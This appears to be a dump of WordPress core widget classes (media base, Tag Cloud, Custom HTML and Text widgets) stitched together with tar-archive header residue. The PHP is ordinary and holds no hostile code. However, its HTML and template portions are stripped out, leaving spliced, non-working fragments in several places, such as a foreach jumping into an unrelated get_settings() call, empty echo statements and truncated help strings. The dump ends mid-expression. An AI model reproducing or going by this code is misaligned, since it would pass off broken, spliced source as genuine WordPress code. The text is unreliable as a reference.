@param string|array $tokens List of tokens separated by spaces, or an array of tokens. * @return string Sanitized token string list. */ public function sanitize_token_list( $tokens ) { if ( is_string( $tokens ) ) { $tokens = preg_split( '/\s+/', trim( $tokens ) ); } $tokens = array_map( 'sanitize_html_class', $tokens ); $tokens = array_filter( $tokens ); return implode( ' ', $tokens ); } /** * Displays the widget on the front-end. * * @since 4.8.0 * * @see WP_Widget::widget() * * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget. * @param array $instance Saved setting from the database. */ public function widget( $args, $instance ) { $instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) ); // Short-circuit if no media is selected. if ( ! $this->has_content( $instance ) ) { return; } echo $args['before_widget']; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ); if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } /** * Filters the media widget instance prior to rendering the media. * * @since 4.8.0 * * @param array $instance Instance data. * @param array $args Widget args. * @param WP_Widget_Media $widget Widget object. */ $instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this ); $this->render_media( $instance ); echo $args['after_widget']; } /** * Sanitizes the widget form values as they are saved. * * @since 4.8.0 * @since 5.9.0 Renamed `$instance` to `$old_instance` to match parent class * for PHP 8 named parameter support. * * @see WP_Widget::update() * @see WP_REST_Request::has_valid_params() * @see WP_REST_Request::sanitize_params() * * @param array $new_instance Values just sent to be saved. * @param array $old_instance Previously saved values from database. * @return array Updated safe values to be saved. */ public function update( $new_instance, $old_instance ) { $schema = $this->get_instance_schema(); foreach ( $schema as $field => $field_schema ) { if ( ! array_key_exists( $field, $new_instance ) ) { continue; } $value = $new_instance[ $field ]; /* * Workaround for rest_validate_value_from_schema() due to the fact that * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true. */ if ( 'boolean' === $field_schema['type'] && '' === $value ) { $value = false; } if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) { continue; } $value = rest_sanitize_value_from_schema( $value, $field_schema ); // @codeCoverageIgnoreStart if ( is_wp_error( $value ) ) { continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates. } // @codeCoverageIgnoreEnd if ( isset( $field_schema['sanitize_callback'] ) ) { $value = call_user_func( $field_schema['sanitize_callback'], $value ); } if ( is_wp_error( $value ) ) { continue; } $old_instance[ $field ] = $value; } return $old_instance; } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ abstract public function render_media( $instance ); /** * Outputs the settings update form. * * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`. * * @since 4.8.0 * * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located. * * @param array $instance Current settings. */ final public function form( $instance ) { $instance_schema = $this->get_instance_schema(); $instance = wp_array_slice_assoc( wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ), array_keys( $instance_schema ) ); foreach ( $instance as $name => $value ) : ?> get_settings() as $instance ) { if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) { ++$use_count; } } if ( 1 === $use_count ) { $states[] = $this->l10n['media_library_state_single']; } elseif ( $use_count > 0 ) { $states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) ); } return $states; } /** * Enqueue preview scripts. * * These scripts normally are enqueued just-in-time when a widget is rendered. * In the customizer, however, widgets can be dynamically added and rendered via * selective refresh, and so it is important to unconditionally enqueue them in * case a widget does get added. * * @since 4.8.0 */ public function enqueue_preview_scripts() {} /** * Loads the required scripts and styles for the widget control. * * @since 4.8.0 */ public function enqueue_admin_scripts() { wp_enqueue_media(); wp_enqueue_script( 'media-widgets' ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { ?> __( 'No media selected' ), 'add_media' => _x( 'Add Media', 'label for button in the media widget' ), 'replace_media' => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ), 'add_to_widget' => __( 'Add to Widget' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That file cannot be found. Check your media library and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ), 'media_library_state_single' => __( 'Media Widget' ), 'unsupported_file_type' => __( 'Looks like this is not the correct kind of file. Please link to an appropriate file instead.' ), ); return self::$l10n_defaults; } } class-wp-widget-tag-cloud.php000064400000015172147102661630012160 0ustar00 __( 'A cloud of your most used tags.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops ); } /** * Outputs the content for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Tag Cloud widget instance. */ public function widget( $args, $instance ) { $current_taxonomy = $this->_get_current_taxonomy( $instance ); if ( ! empty( $instance['title'] ) ) { $title = $instance['title']; } else { if ( 'post_tag' === $current_taxonomy ) { $title = __( 'Tags' ); } else { $tax = get_taxonomy( $current_taxonomy ); $title = $tax->labels->name; } } $default_title = $title; $show_count = ! empty( $instance['count'] ); $tag_cloud = wp_tag_cloud( /** * Filters the taxonomy used in the Tag Cloud widget. * * @since 2.8.0 * @since 3.0.0 Added taxonomy drop-down. * @since 4.9.0 Added the `$instance` parameter. * * @see wp_tag_cloud() * * @param array $args Args used for the tag cloud widget. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_tag_cloud_args', array( 'taxonomy' => $current_taxonomy, 'echo' => false, 'show_count' => $show_count, ), $instance ) ); if ( empty( $tag_cloud ) ) { return; } /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo ''; } echo $args['after_widget']; } /** * Handles updating settings for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['count'] = ! empty( $new_instance['count'] ) ? 1 : 0; $instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] ); return $instance; } /** * Outputs the Tag Cloud widget settings form. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; $count = isset( $instance['count'] ) ? (bool) $instance['count'] : false; ?>

true ), 'object' ); $current_taxonomy = $this->_get_current_taxonomy( $instance ); switch ( count( $taxonomies ) ) { // No tag cloud supporting taxonomies found, display error message. case 0: ?>

0 ) { ?>

/>

'', 'content' => '', ); /** * Sets up a new Custom HTML widget instance. * * @since 4.8.1 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_custom_html', 'description' => __( 'Arbitrary HTML code.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops ); } /** * Add hooks for enqueueing assets when registering all widget instances of this widget class. * * @since 4.9.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) ); // Note this action is used to ensure the help text is added to the end. add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) ); } /** * Filters gallery shortcode attributes. * * Prevents all of a site's attachments from being shown in a gallery displayed on a * non-singular template where a $post context is not available. * * @since 4.9.0 * * @param array $attrs Attributes. * @return array Attributes. */ public function _filter_gallery_shortcode_attrs( $attrs ) { if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) { $attrs['id'] = -1; } return $attrs; } /** * Outputs the content for the current Custom HTML widget instance. * * @since 4.8.1 * * @global WP_Post $post Global post object. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Custom HTML widget instance. */ public function widget( $args, $instance ) { global $post; // Override global $post so filters (and shortcodes) apply in a consistent context. $original_post = $post; if ( is_singular() ) { // Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post). $post = get_queried_object(); } else { // Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries. $post = null; } // Prevent dumping out all attachments from the media library. add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); $instance = array_merge( $this->default_instance, $instance ); /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ); // Prepare instance data that looks like a normal Text widget. $simulated_text_widget_instance = array_merge( $instance, array( 'text' => isset( $instance['content'] ) ? $instance['content'] : '', 'filter' => false, // Because wpautop is not applied. 'visual' => false, // Because it wasn't created in TinyMCE. ) ); unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop. /** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */ $content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this ); // Adds 'noopener' relationship, without duplicating values, to all HTML A elements that have a target. $content = wp_targeted_link_rel( $content ); /** * Filters the content of the Custom HTML widget. * * @since 4.8.1 * * @param string $content The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Custom_HTML $widget Current Custom HTML widget instance. */ $content = apply_filters( 'widget_custom_html_content', $content, $instance, $this ); // Restore post global. $post = $original_post; remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); // Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility. $args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] ); echo $args['before_widget']; if ( ! empty( $title ) ) { echo $args['before_title'] . $title . $args['after_title']; } echo '
'; // The textwidget class is for theme styling compatibility. echo $content; echo '
'; echo $args['after_widget']; } /** * Handles updating settings for the current Custom HTML widget instance. * * @since 4.8.1 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array_merge( $this->default_instance, $old_instance ); $instance['title'] = sanitize_text_field( $new_instance['title'] ); if ( current_user_can( 'unfiltered_html' ) ) { $instance['content'] = $new_instance['content']; } else { $instance['content'] = wp_kses_post( $new_instance['content'] ); } return $instance; } /** * Loads the required scripts and styles for the widget control. * * @since 4.9.0 */ public function enqueue_admin_scripts() { $settings = wp_enqueue_code_editor( array( 'type' => 'text/html', 'codemirror' => array( 'indentUnit' => 2, 'tabSize' => 2, ), ) ); wp_enqueue_script( 'custom-html-widgets' ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) ); if ( empty( $settings ) ) { $settings = array( 'disabled' => true, ); } wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings ) ), 'after' ); $l10n = array( 'errorNotice' => array( /* translators: %d: Error count. */ 'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ), /* translators: %d: Error count. */ 'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491. ), ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n ) ), 'after' ); } /** * Outputs the Custom HTML widget settings form. * * @since 4.8.1 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`. * * @see WP_Widget_Custom_HTML::render_control_template_scripts() * * @param array $instance Current instance. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->default_instance ); ?> '; $content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' ); $content .= '

'; if ( 'false' !== wp_get_current_user()->syntax_highlighting ) { $content .= '

'; $content .= sprintf( /* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */ __( 'The edit field automatically highlights code syntax. You can disable this in your user profile%3$s to work in plain text mode.' ), esc_url( get_edit_profile_url() ), 'class="external-link" target="_blank"', sprintf( ' %s', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ) ); $content .= '

'; $content .= '

' . __( 'When using a keyboard to navigate:' ) . '

'; $content .= '
    '; $content .= '
  • ' . __( 'In the editing area, the Tab key enters a tab character.' ) . '
  • '; $content .= '
  • ' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '
  • '; $content .= '
  • ' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '
  • '; $content .= '
'; } $screen->add_help_tab( array( 'id' => 'custom_html_widget', 'title' => __( 'Custom HTML Widget' ), 'content' => $content, ) ); } } class-wp-widget-text.php000064400000051723147102661630011267 0ustar00 'widget_text', 'description' => __( 'Arbitrary text.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'text', __( 'Text' ), $widget_ops, $control_ops ); } /** * Adds hooks for enqueueing assets when registering all widget instances of this widget class. * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; if ( $this->is_preview() ) { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Text', 'render_control_template_scripts' ) ); } /** * Determines whether a given instance is legacy and should bypass using TinyMCE. * * @since 4.8.1 * * @param array $instance { * Instance data. * * @type string $text Content. * @type bool|string $filter Whether autop or content filters should apply. * @type bool $legacy Whether widget is in legacy mode. * } * @return bool Whether Text widget instance contains legacy data. */ public function is_legacy_instance( $instance ) { // Legacy mode when not in visual mode. if ( isset( $instance['visual'] ) ) { return ! $instance['visual']; } // Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy. if ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ) { return false; } // If the text is empty, then nothing is preventing migration to TinyMCE. if ( empty( $instance['text'] ) ) { return false; } $wpautop = ! empty( $instance['filter'] ); $has_line_breaks = ( str_contains( trim( $instance['text'] ), "\n" ) ); // If auto-paragraphs are not enabled and there are line breaks, then ensure legacy mode. if ( ! $wpautop && $has_line_breaks ) { return true; } // If an HTML comment is present, assume legacy mode. if ( str_contains( $instance['text'], '